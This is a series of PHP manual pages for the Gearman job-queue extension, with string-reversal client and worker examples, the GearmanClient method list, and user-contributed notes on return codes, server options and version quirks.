GEARMAN_WORKER_WAIT_TIMEOUT (integer)

User Contributed Notes

anonymous-one 27-Aug-2013 05:11
we had a pretty annoying little issue when upgrading from a very dated 0.14 gearmand to 1.1.8...

we kept on getting a

GEARMAN_MAX_RETURN = 49

error code when making gearman requests...

in our situation this was caused by sending a boolean FALSE as the param... once we changed this to a string "none"... the issue disappeared.

false seamed to work fine with 0.14 but not with the newer 1.1.8...

annoying!!
ion dot dulgheru at gmail dot com 19-Aug-2012 10:46
an update (gearman 0.35):

GEARMAN_NO_REGISTERED_FUNCTION = 33
GEARMAN_NO_REGISTERED_FUNCTIONS =    34
GEARMAN_NO_JOBS = 35
GEARMAN_ECHO_DATA_CORRUPTION = 36
GEARMAN_NEED_WORKLOAD_FN = 37
GEARMAN_PAUSE = 38
GEARMAN_UNKNOWN_STATE = 39
GEARMAN_PTHREAD = 40
GEARMAN_PIPE_EOF     = 41
GEARMAN_QUEUE_ERROR    = 42
GEARMAN_FLUSH_DATA = 43
GEARMAN_SEND_BUFFER_TOO_SMALL = 44
GEARMAN_IGNORE_PACKET = 45
GEARMAN_UNKNOWN_OPTION = 46
GEARMAN_TIMEOUT    = 47
GEARMAN_ARGUMENT_TOO_LARGE = 48
GEARMAN_MAX_RETURN =    49
Shane Harter 15-Jun-2010 08:30
I looked everywhere for for a dump of the values of each of the gearman constants. I ended up in the gearman source.

You'll find this useful if you ever just echo the return code.

GEARMAN_SUCCESS = 0
GEARMAN_IO_WAIT = 1
GEARMAN_SHUTDOWN = 2
GEARMAN_SHUTDOWN_GRACEFUL = 3
GEARMAN_ERRNO = 4
GEARMAN_EVENT = 5
GEARMAN_TOO_MANY_ARGS = 6
GEARMAN_NO_ACTIVE_FDS = 7
GEARMAN_INVALID_MAGIC = 8
GEARMAN_INVALID_COMMAND = 9
GEARMAN_INVALID_PACKET = 10
GEARMAN_UNEXPECTED_PACKET = 11
GEARMAN_GETADDRINFO = 12
GEARMAN_NO_SERVERS = 13
GEARMAN_LOST_CONNECTION = 14
GEARMAN_MEMORY_ALLOCATION_FAILURE = 15
GEARMAN_JOB_EXISTS = 16
GEARMAN_JOB_QUEUE_FULL = 17
GEARMAN_SERVER_ERROR = 18
GEARMAN_WORK_ERROR = 19
GEARMAN_WORK_DATA = 20
GEARMAN_WORK_WARNING = 21
GEARMAN_WORK_STATUS = 22
GEARMAN_WORK_EXCEPTION = 23
GEARMAN_WORK_FAIL = 24
GEARMAN_NOT_CONNECTED = 25
GEARMAN_COULD_NOT_CONNECT = 26
GEARMAN_SEND_IN_PROGRESS = 27
GEARMAN_RECV_IN_PROGRESS = 28
GEARMAN_NOT_FLUSHING = 29
GEARMAN_DATA_TOO_LARGE = 30
GEARMAN_INVALID_FUNCTION_NAME = 31
GEARMAN_INVALID_WORKER_FUNCTION = 32
GEARMAN_NO_REGISTERED_FUNCTIONS = 33
GEARMAN_NO_JOBS = 34
GEARMAN_ECHO_DATA_CORRUPTION = 35
GEARMAN_NEED_WORKLOAD_FN = 36
GEARMAN_PAUSE = 37
GEARMAN_UNKNOWN_STATE = 38
GEARMAN_PTHREAD = 39
GEARMAN_PIPE_EOF = 40
GEARMAN_QUEUE_ERROR = 41
GEARMAN_FLUSH_DATA = 42
GEARMAN_SEND_BUFFER_TOO_SMALL = 43
GEARMAN_IGNORE_PACKET = 44
GEARMAN_UNKNOWN_OPTION = 45
GEARMAN_MAX_RETURN = 46


Examples

Table of Contents

  • Basic usage
  • Basic Gearman client and worker, background
  • Basic Gearman client and worker, submitting tasks

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

Example #1 Basic Gearman client and worker

This example shows a very simple client and worker. The client sends a string to the job server, and the worker reverses the string and sends it back. The job is performed synchronously.

<?php

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
  $result = $gmclient->do("reverse", "Hello!");

  # Check for various return packets and errors.
  switch($gmclient->returnCode())
  {
    case GEARMAN_WORK_DATA:
      echo "Data: $result\n";
      break;
    case GEARMAN_WORK_STATUS:
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
    case GEARMAN_WORK_FAIL:
      echo "Failed\n";
      exit;
    case GEARMAN_SUCCESS:
      break;
    default:
      echo "RET: " . $gmclient->returnCode() . "\n";
      exit;
  }
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
    $job->sendStatus($x, $workload_size);
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

# A much simpler and less verbose version of the above function would be:
function reverse_fn_fast($job)
{
  return strrev($job->workload());
}

?>

The above example will output something similar to:

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:36
Workload: Hello! (6)
Sending status: 1/6 complete
Sending status: 2/6 complete
Sending status: 3/6 complete
Sending status: 4/6 complete
Sending status: 5/6 complete
Sending status: 6/6 complete
Result: !olleH

% php reverse_client.php
Starting
Sending job
Status: 1/6 complete
Status: 2/6 complete
Status: 3/6 complete
Status: 4/6 complete
Status: 5/6 complete
Status: 6/6 complete
Success: !olleH

User Contributed Notes

rjha at 3mik dot com 09-Jul-2012 05:16
The client should print the result received from job server.

<?php

// switch(...) {
case GEARMAN_SUCCESS:
        echo "result : $result \\n" ;
        break;
// }
?>


Basic Gearman client and worker, background

Example #1 Basic Gearman client and worker, background

This example shows a very simple client and worker. The client sends a string to the job server as a background job, and the worker reverses the string. Note that since the work is performed asynchronously, the client does not wait for the job to complete and exits (and hence the client never receives the results).

<?php

# create our client object
$gmclient= new GearmanClient();

# add the default server (localhost)
$gmclient->addServer();

# run reverse client in the background
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
  echo "bad return code\n";
  exit;
}

echo "done!\n";

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
    $job->sendStatus($x, $workload_size);
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

# A much simpler and less verbose version of the above function would be:
function reverse_fn_fast($job)
{
  return strrev($job->workload());
}

?>

The above example will output something similar to:

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:41
Workload: this is a test (14)
1/14 complete
2/14 complete
3/14 complete
4/14 complete
5/14 complete
6/14 complete
7/14 complete
8/14 complete
9/14 complete
10/14 complete
11/14 complete
12/14 complete
13/14 complete
14/14 complete
Result: tset a si siht

% php reverse_client_bg.php
done!

User Contributed Notes

There are no user contributed notes for this page.


Basic Gearman client and worker, submitting tasks

Example #1 Basic Gearman client and worker, submitting tasks

In this example, the basic reverse client extended to run two tasks in parallel. The reverse worker is unchanged except to add sending of data back during processing.

<?php

# create the gearman client
$gmc= new GearmanClient();

# add the default server (localhost)
$gmc->addServer();

# register some callbacks
$gmc->setCreatedCallback("reverse_created");
$gmc->setDataCallback("reverse_data");
$gmc->setStatusCallback("reverse_status");
$gmc->setCompleteCallback("reverse_complete");
$gmc->setFailCallback("reverse_fail");

# set some arbitrary application data
$data['foo'] = 'bar';

# add two tasks
$task= $gmc->addTask("reverse", "foo", $data);
$task2= $gmc->addTaskLow("reverse", "bar", NULL);

# run the tasks in parallel (assuming multiple workers)
if (! $gmc->runTasks())
{
    echo "ERROR " . $gmc->error() . "\n";
    exit;
}

echo "DONE\n";

function reverse_created($task)
{
    echo "CREATED: " . $task->jobHandle() . "\n";
}

function reverse_status($task)
{
    echo "STATUS: " . $task->jobHandle() . " - " . $task->taskNumerator() .
         "/" . $task->taskDenominator() . "\n";
}

function reverse_complete($task)
{
    echo "COMPLETE: " . $task->jobHandle() . ", " . $task->data() . "\n";
}

function reverse_fail($task)
{
    echo "FAILED: " . $task->jobHandle() . "\n";
}

function reverse_data($task)
{
    echo "DATA: " . $task->data() . "\n";
}

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
    $job->sendStatus($x+1, $workload_size);
    $job->sendData(substr($workload, $x, 1));
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

# A much simpler and less verbose version of the above function would be:
function reverse_fn_fast($job)
{
  return strrev($job->workload());
}

?>

The above example will output something similar to:

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:45
Workload: foo (3)
1/3 complete
2/3 complete
3/3 complete
Result: oof
Received job: H:foo.local:44
Workload: bar (3)
1/3 complete
2/3 complete
3/3 complete
Result: rab

% php reverse_client_task.php
CREATED: H:foo.local:44
CREATED: H:foo.local:45
STATUS: H:foo.local:45 - 1/3
DATA: f
STATUS: H:foo.local:45 - 2/3
DATA: o
STATUS: H:foo.local:45 - 3/3
DATA: o
COMPLETE: H:foo.local:45, oof
STATUS: H:foo.local:44 - 1/3
DATA: b
STATUS: H:foo.local:44 - 2/3
DATA: a
STATUS: H:foo.local:44 - 3/3
DATA: r
COMPLETE: H:foo.local:44, rab
DONE

User Contributed Notes

There are no user contributed notes for this page.


The GearmanClient class

(PECL gearman >= 0.5.0)

Introduction

Represents a class for connecting to a Gearman job server and making requests to perform some function on provided data. The function performed must be one registered by a Gearman worker and the data passed is opaque to the job server.

Class synopsis

GearmanClient {
/* Methods */
public bool addOptions ( int $options )
public bool addServer ([ string $host = 127.0.0.1 [, int $port = 4730 ]] )
public bool addServers ([ string $servers = 127.0.0.1:4730 ] )
public GearmanTask addTask ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )
public GearmanTask addTaskBackground ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )
public GearmanTask addTaskHigh ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )
public GearmanTask addTaskHighBackground ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )
public GearmanTask addTaskLow ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )
public GearmanTask addTaskLowBackground ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )
public GearmanTask addTaskStatus ( string $job_handle [, string &$context ] )
public bool clearCallbacks ( void )
public GearmanClient clone ( void )
public __construct ( void )
public string context ( void )
public string data ( void )
public string do ( string $function_name , string $workload [, string $unique ] )
public string doBackground ( string $function_name , string $workload [, string $unique ] )
public string doHigh ( string $function_name , string $workload [, string $unique ] )
public string doHighBackground ( string $function_name , string $workload [, string $unique ] )
public string doJobHandle ( void )
public string doLow ( string $function_name , string $workload [, string $unique ] )
public string doLowBackground ( string $function_name , string $workload [, string $unique ] )
public string doNormal ( string $function_name , string $workload [, string $unique ] )
public array doStatus ( void )
public bool echo ( string $workload )
public string error ( void )
public int getErrno ( void )
public array jobStatus ( string $job_handle )
public bool ping ( string $workload )
public bool removeOptions ( int $options )
public int returnCode ( void )
public bool runTasks ( void )
public void setClientCallback ( callable $callback )
public bool setCompleteCallback ( callable $callback )
public bool setContext ( string $context )
public bool setCreatedCallback ( string $callback )
public bool setData ( string $data )
public bool setDataCallback ( callable $callback )
public bool setExceptionCallback ( callable $callback )
public bool setFailCallback ( callable $callback )
public bool setOptions ( int $options )
public bool setStatusCallback ( callable $callback )
public bool setTimeout ( int $timeout )
public bool setWarningCallback ( callable $callback )
public bool setWorkloadCallback ( callable $callback )
public int timeout ( void )
}

Table of Contents

  • GearmanClient::addOptions — Add client options
  • GearmanClient::addServer — Add a job server to the client
  • GearmanClient::addServers — Add a list of job servers to the client
  • GearmanClient::addTask — Add a task to be run in parallel
  • GearmanClient::addTaskBackground — Add a background task to be run in parallel
  • GearmanClient::addTaskHigh — Add a high priority task to run in parallel
  • GearmanClient::addTaskHighBackground — Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLow — Add a low priority task to run in parallel
  • GearmanClient::addTaskLowBackground — Add a low priority background task to be run in parallel
  • GearmanClient::addTaskStatus — Add a task to get status
  • GearmanClient::clearCallbacks — Clear all task callback functions
  • GearmanClient::clone — Create a copy of a GearmanClient object
  • GearmanClient::__construct — Create a GearmanClient instance
  • GearmanClient::context — Get the application context
  • GearmanClient::data — Get the application data (deprecated)
  • GearmanClient::do — Run a single task and return a result [deprecated]
  • GearmanClient::doBackground — Run a task in the background
  • GearmanClient::doHigh — Run a single high priority task
  • GearmanClient::doHighBackground — Run a high priority task in the background
  • GearmanClient::doJobHandle — Get the job handle for the running task
  • GearmanClient::doLow — Run a single low priority task
  • GearmanClient::doLowBackground — Run a low priority task in the background
  • GearmanClient::doNormal — Run a single task and return a result
  • GearmanClient::doStatus — Get the status for the running task
  • GearmanClient::echo — Send data to all job servers to see if they echo it back [deprecated]
  • GearmanClient::error — Returns an error string for the last error encountered.
  • GearmanClient::getErrno — Get an errno value
  • GearmanClient::jobStatus — Get the status of a background job
  • GearmanClient::ping — Send data to all job servers to see if they echo it back
  • GearmanClient::removeOptions — Remove client options
  • GearmanClient::returnCode — Get the last Gearman return code
  • GearmanClient::runTasks — Run a list of tasks in parallel
  • GearmanClient::setClientCallback — Callback function when there is a data packet for a task (deprecated)
  • GearmanClient::setCompleteCallback — Set a function to be called on task completion
  • GearmanClient::setContext — Set application context
  • GearmanClient::setCreatedCallback — Set a callback for when a task is queued
  • GearmanClient::setData — Set application data (deprecated)
  • GearmanClient::setDataCallback — Callback function when there is a data packet for a task
  • GearmanClient::setExceptionCallback — Set a callback for worker exceptions
  • GearmanClient::setFailCallback — Set callback for job failure
  • GearmanClient::setOptions — Set client options
  • GearmanClient::setStatusCallback — Set a callback for collecting task status
  • GearmanClient::setTimeout — Set socket I/O activity timeout
  • GearmanClient::setWarningCallback — Set a callback for worker warnings
  • GearmanClient::setWorkloadCallback — Set a callback for accepting incremental data updates
  • GearmanClient::timeout — Get current socket I/O activity timeout value

User Contributed Notes

There are no user contributed notes for this page.


Add client options

  • « GearmanClient
  • GearmanClient::addServer »
  • PHP Manual
  • GearmanClient
  • Add client options

GearmanClient::addOptions

(PECL gearman >= 0.6.0)

GearmanClient::addOptions — Add client options

Description

public bool GearmanClient::addOptions ( int $options )

Adds one or more options to those already set.

Parameters

options

The options to add

Return Values

Always returns TRUE.

User Contributed Notes

flaviohbatista at gmail dot com 25-Jul-2013 10:39
The currently supported options are:

GEARMAN_CLIENT_NON_BLOCKING
Run the cient in a non-blocking mode.

GEARMAN_CLIENT_FREE_TASKS
Automatically free task objects once they are complete.

GEARMAN_CLIENT_UNBUFFERED_RESULT
Allow the client to read data in chunks rather than have the library buffer the entire data result and pass that back.

GEARMAN_CLIENT_GENERATE_UNIQUE
Generate a unique id for each task created by generating a UUID.
goran dot v dot miskovic at gmail dot com 08-Sep-2012 06:12
To add multiple options at once use pipe separated list.
<?php
$client = new GearmanClient();
$client->addOptions(GEARMAN_CLIENT_NON_BLOCKING | GEARMAN_CLIENT_FREE_TASKS | GEARMAN_CLIENT_UNBUFFERED_RESULT);
?>


Add a job server to the client

  • « GearmanClient::addOptions
  • GearmanClient::addServers »
  • PHP Manual
  • GearmanClient
  • Add a job server to the client

GearmanClient::addServer

(PECL gearman >= 0.5.0)

GearmanClient::addServer — Add a job server to the client

Description

public bool GearmanClient::addServer ([ string $host = 127.0.0.1 [, int $port = 4730 ]] )

Adds a job server to a list of servers that can be used to run a task. No socket I/O happens here; the server is simply added to the list.

Parameters

host

The job server host name.

port

The job server port.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Adding two job servers

<?php

# Create our client object.
$gmclient= new GearmanClient();

# Add two job servers, the first on the default 4730 port
$gmclient->addServer("10.0.0.1");
$gmclient->addServer("10.0.0.2", 7003);

?>

See Also

  • GearmanClient::addServers() - Add a list of job servers to the client

User Contributed Notes

Amit 30-Oct-2013 03:19
The addServer and addServers are unforgiving when any of the addresses are down. I tried using exceptions, but it does not quite work. Can you provide a working example to handle a list of servers where one or more is not running.

Thanks
info at phpgangsta dot de 08-Apr-2013 08:22
Since a few versions the port parameter is not optional anymore. I have version 1.1.1 of pecl/gearman compiled with libgearman 1.1.5, and I'm getting the following error:

send_packet(GEARMAN_COULD_NOT_CONNECT) Failed to send server-options packet -> libgearman/connection.cc:430

This happens if you don't provide a port.

Just set the second parameter to 4730 and it is working again.


Add a list of job servers to the client

  • « GearmanClient::addServer
  • GearmanClient::addTask »
  • PHP Manual
  • GearmanClient
  • Add a list of job servers to the client

GearmanClient::addServers

(PECL gearman >= 0.5.0)

GearmanClient::addServers — Add a list of job servers to the client

Description

public bool GearmanClient::addServers ([ string $servers = 127.0.0.1:4730 ] )

Adds a list of job servers that can be used to run a task. No socket I/O happens here; the servers are simply added to the full list of servers.

Parameters

servers

A comma-separated list of servers, each server specified in the format 'host:port'.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Add two job servers

<?php

# Create our client object.
$gmclient= new GearmanClient();

# Add multiple job servers, the first on the default 4730 port
$gmclient->addServers("10.0.0.1,10.0.0.2:7003");

?>

See Also

  • GearmanClient::addServer() - Add a job server to the client

User Contributed Notes

littlexiang521 at gmail dot com 21-Feb-2014 05:00
actually client side will throw an exception when any of the servers is down or unreachable instead like

Fatal error: Uncaught exception 'GearmanException' with message 'Failed to set exception option' in /var/www/ipao/Api/Q2/Test/gm-test.php:11
Stack trace:
#0 /var/www/ipao/Api/Q2/Test/gm-test.php(11): GearmanClient->addServer('xxx.xxx.xxx.xxx')
#1 {main}
jachimcoudenys at gmail dot com 30-Jul-2013 05:14
If you supply more than one server, it will always take the last server, unless it is unavailable. This is the way gearman works (and it is generally not a bad idea).

If you want to spread the jobs over multiple servers, you might want to shuffle the list of servers.


Add a task to be run in parallel

  • « GearmanClient::addServers
  • GearmanClient::addTaskBackground »
  • PHP Manual
  • GearmanClient
  • Add a task to be run in parallel

GearmanClient::addTask

(PECL gearman >= 0.5.0)

GearmanClient::addTask — Add a task to be run in parallel

Description

public GearmanTask GearmanClient::addTask ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )

Adds a task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Note that enough workers need to be available for the tasks to all run in parallel.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

context

Application context to associate with a task

unique

A unique ID used to identify a particular task

Return Values

A GearmanTask object or FALSE if the task could not be added.

Examples

Example #1 Basic submission of two tasks

<?php

# Create our gearman client
$gmclient= new GearmanClient();

# add the default job server
$gmclient->addServer();

# set a function to be called when the work is complete
$gmclient->setCompleteCallback("complete");

# add a task to perform the "reverse" function on the string "Hello World!"
$gmclient->addTask("reverse", "Hello World!", null, "1");

# add another task to perform the "reverse" function on the string "!dlroW olleH"
$gmclient->addTask("reverse", "!dlroW olleH", null, "2");

# run the tasks
$gmclient->runTasks();

function complete($task)
{
  print "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

The above example will output something similar to:

COMPLETE: 2, Hello World!
COMPLETE: 1, !dlroW olleH

Example #2 Basic submission of two tasks with passing application context

<?php

$client = new GearmanClient();
$client->addServer();

# set a function to be called when the work is complete
$client->setCompleteCallback("reverse_complete");

# Add some tasks for a placeholder of where to put the results
$results = array();
$client->addTask("reverse", "Hello World!", &$results, "t1");
$client->addTask("reverse", "!dlroW olleH", &$results, "t2");

$client->runTasks();

# The results should now be filled in from the callbacks
foreach ($results as $id => $result)
   echo $id . ": " . $result['handle'] . ", " . $result['data'] . "\n";

function reverse_complete($task, $results)
{
   $results[$task->unique()] = array("handle"=>$task->jobHandle(), "data"=>$task->data());
}

?>

The above example will output something similar to:

t2: H.foo:21, Hello World!
t1: H:foo:22, !dlroW olleH

See Also

  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

Jeremy Zerr 16-Nov-2013 03:14
As of PHP 5.3.0, you will get a warning saying that "call-time pass-by-reference" is deprecated when you use & in $client->addTask(..., ..., &$results, ...);. And as of PHP 5.4.0, call-time pass-by-reference was removed, so using it will raise a fatal error.

So that means that when you call addTask with a context parameter as in the example above like this:

<?php
# Add some tasks for a placeholder of where to put the results
$results = array();
$client->addTask("reverse", "Hello World!", &$results, "t1");
?>

You get this "call-time pass-by-reference" warning (or error).  This can be avoided and still result in functional code by changing the context variable to be an object so that it is passed by reference like this:

<?php
$results = new \stdClass();
$client->addTask("reverse", "Hello World!", $results, "t1");
?>

Then for completeness, change the complete handler to expect a reference:

<?php
function reverse_complete($task, &$results) { ... }
?>

Then inside the complete handler, you can use the $results object to save your results to be accessible outside the complete handler.


Add a background task to be run in parallel

  • « GearmanClient::addTask
  • GearmanClient::addTaskHigh »
  • PHP Manual
  • GearmanClient
  • Add a background task to be run in parallel

GearmanClient::addTaskBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskBackground — Add a background task to be run in parallel

Description

public GearmanTask GearmanClient::addTaskBackground ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )

Adds a background task to be run in parallel with other tasks. Call this method for all the tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

context

Application context to associate with a task

unique

A unique ID used to identify a particular task

Return Values

A GearmanTask object or FALSE if the task could not be added.

Examples

Example #1 Two tasks, one background and one not

This example illustrates the difference between running a background task and a normal task. The client adds two tasks to execute the same function, but one is added with addTaskBackground(). A callback is set so that progress of the job can be tracked. A simple worker with an artificial delay reports on the job progress and the client picks this up through the callback. Two workers are run for this example. Note that the background task does not show in the client output.

<?php

# The client script

# create our gearman client
$gmc= new GearmanClient();

# add the default job server
$gmc->addServer();

# set a couple of callbacks so we can track progress
$gmc->setCompleteCallback("reverse_complete");
$gmc->setStatusCallback("reverse_status");

# add a task for the "reverse" function
$task= $gmc->addTask("reverse", "Hello World!", null, "1");

# add another task, but this one to run in the background
$task= $gmc->addTaskBackground("reverse", "!dlroW olleH", null, "2");

if (! $gmc->runTasks())
{
    echo "ERROR " . $gmc->error() . "\n";
    exit;
}

echo "DONE\n";

function reverse_status($task)
{
    echo "STATUS: " . $task->unique() . ", " . $task->jobHandle() . " - " . $task->taskNumerator() .
         "/" . $task->taskDenominator() . "\n";
}

function reverse_complete($task)
{
    echo "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>
<?php

# The worker script

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
    $job->sendStatus($x+1, $workload_size);
    $job->sendData(substr($workload, $x, 1));
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

?>

Worker output for two workers running:

Received job: H:foo.local:65
Workload: !dlroW olleH (12)
1/12 complete
Received job: H:foo.local:66
Workload: Hello World! (12)
Sending status: 1/12 complete
Sending status: 2/12 complete
Sending status: 2/12 complete
Sending status: 3/12 complete
Sending status: 3/12 complete
Sending status: 4/12 complete
Sending status: 4/12 complete
Sending status: 5/12 complete
Sending status: 5/12 complete
Sending status: 6/12 complete
Sending status: 6/12 complete
Sending status: 7/12 complete
Sending status: 7/12 complete
Sending status: 8/12 complete
Sending status: 8/12 complete
Sending status: 9/12 complete
Sending status: 9/12 complete
Sending status: 10/12 complete
Sending status: 10/12 complete
Sending status: 11/12 complete
Sending status: 11/12 complete
Sending status: 12/12 complete
Sending status: 12/12 complete
Result: !dlroW olleH
Result: Hello World!

Client output:

STATUS: 1, H:foo.local:66 - 1/12
STATUS: 1, H:foo.local:66 - 2/12
STATUS: 1, H:foo.local:66 - 3/12
STATUS: 1, H:foo.local:66 - 4/12
STATUS: 1, H:foo.local:66 - 5/12
STATUS: 1, H:foo.local:66 - 6/12
STATUS: 1, H:foo.local:66 - 7/12
STATUS: 1, H:foo.local:66 - 8/12
STATUS: 1, H:foo.local:66 - 9/12
STATUS: 1, H:foo.local:66 - 10/12
STATUS: 1, H:foo.local:66 - 11/12
STATUS: 1, H:foo.local:66 - 12/12
COMPLETE: 1, !dlroW olleH
DONE

See Also

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskHigh() - Add a high priority task to run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.


Add a high priority task to run in parallel

  • « GearmanClient::addTaskBackground
  • GearmanClient::addTaskHighBackground »
  • PHP Manual
  • GearmanClient
  • Add a high priority task to run in parallel

GearmanClient::addTaskHigh

(PECL gearman >= 0.5.0)

GearmanClient::addTaskHigh — Add a high priority task to run in parallel

Description

public GearmanTask GearmanClient::addTaskHigh ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )

Adds a high priority task to be run in parallel with other tasks. Call this method for all the high priority tasks to be run in parallel, then call GearmanClient::runTasks() to perform the work. Tasks with a high priority will be selected from the queue before those of normal or low priority.

Parameters

function_name

A registered function the worker is to execute

workload

Serialized data to be processed

context

Application context to associate with a task

unique

A unique ID used to identify a particular task

Return Values

A GearmanTask object or FALSE if the task could not be added.

Examples

Example #1 A high priority task along with two normal tasks

A high priority task is included among two other tasks. A single worker is available, so that tasks are run one at a time, with the high priority task run first.

<?php

# create the gearman client
$gmc= new GearmanClient();

# add the default job server
$gmc->addServer();

# set the callback for when the job is complete
$gmc->setCompleteCallback("reverse_complete");

# add tasks, one of which is high priority
$task= $gmc->addTask("reverse", "Hello World!", null, "1");
$task= $gmc->addTaskHigh("reverse", "!dlroW olleH", null, "2");
$task= $gmc->addTask("reverse", "Hello World!", null, "3");

if (! $gmc->runTasks())
{
    echo "ERROR " . $gmc->error() . "\n";
    exit;
}
echo "DONE\n";

function reverse_complete($task)
{
    echo "COMPLETE: " . $task->unique() . ", " . $task->data() . "\n";
}

?>

The above example will output something similar to:

COMPLETE: 2, Hello World!
COMPLETE: 3, !dlroW olleH
COMPLETE: 1, !dlroW olleH
DONE

See Also

  • GearmanClient::addTask() - Add a task to be run in parallel
  • GearmanClient::addTaskLow() - Add a low priority task to run in parallel
  • GearmanClient::addTaskBackground() - Add a background task to be run in parallel
  • GearmanClient::addTaskHighBackground() - Add a high priority background task to be run in parallel
  • GearmanClient::addTaskLowBackground() - Add a low priority background task to be run in parallel
  • GearmanClient::runTasks() - Run a list of tasks in parallel

User Contributed Notes

There are no user contributed notes for this page.


Add a high priority background task to be run in parallel

  • « GearmanClient::addTaskHigh
  • GearmanClient::addTaskLow »
  • PHP Manual
  • GearmanClient
  • Add a high priority background task to be run in parallel

GearmanClient::addTaskHighBackground

(PECL gearman >= 0.5.0)

GearmanClient::addTaskHighBackground — Add a high priority background task to be run in parallel

Description

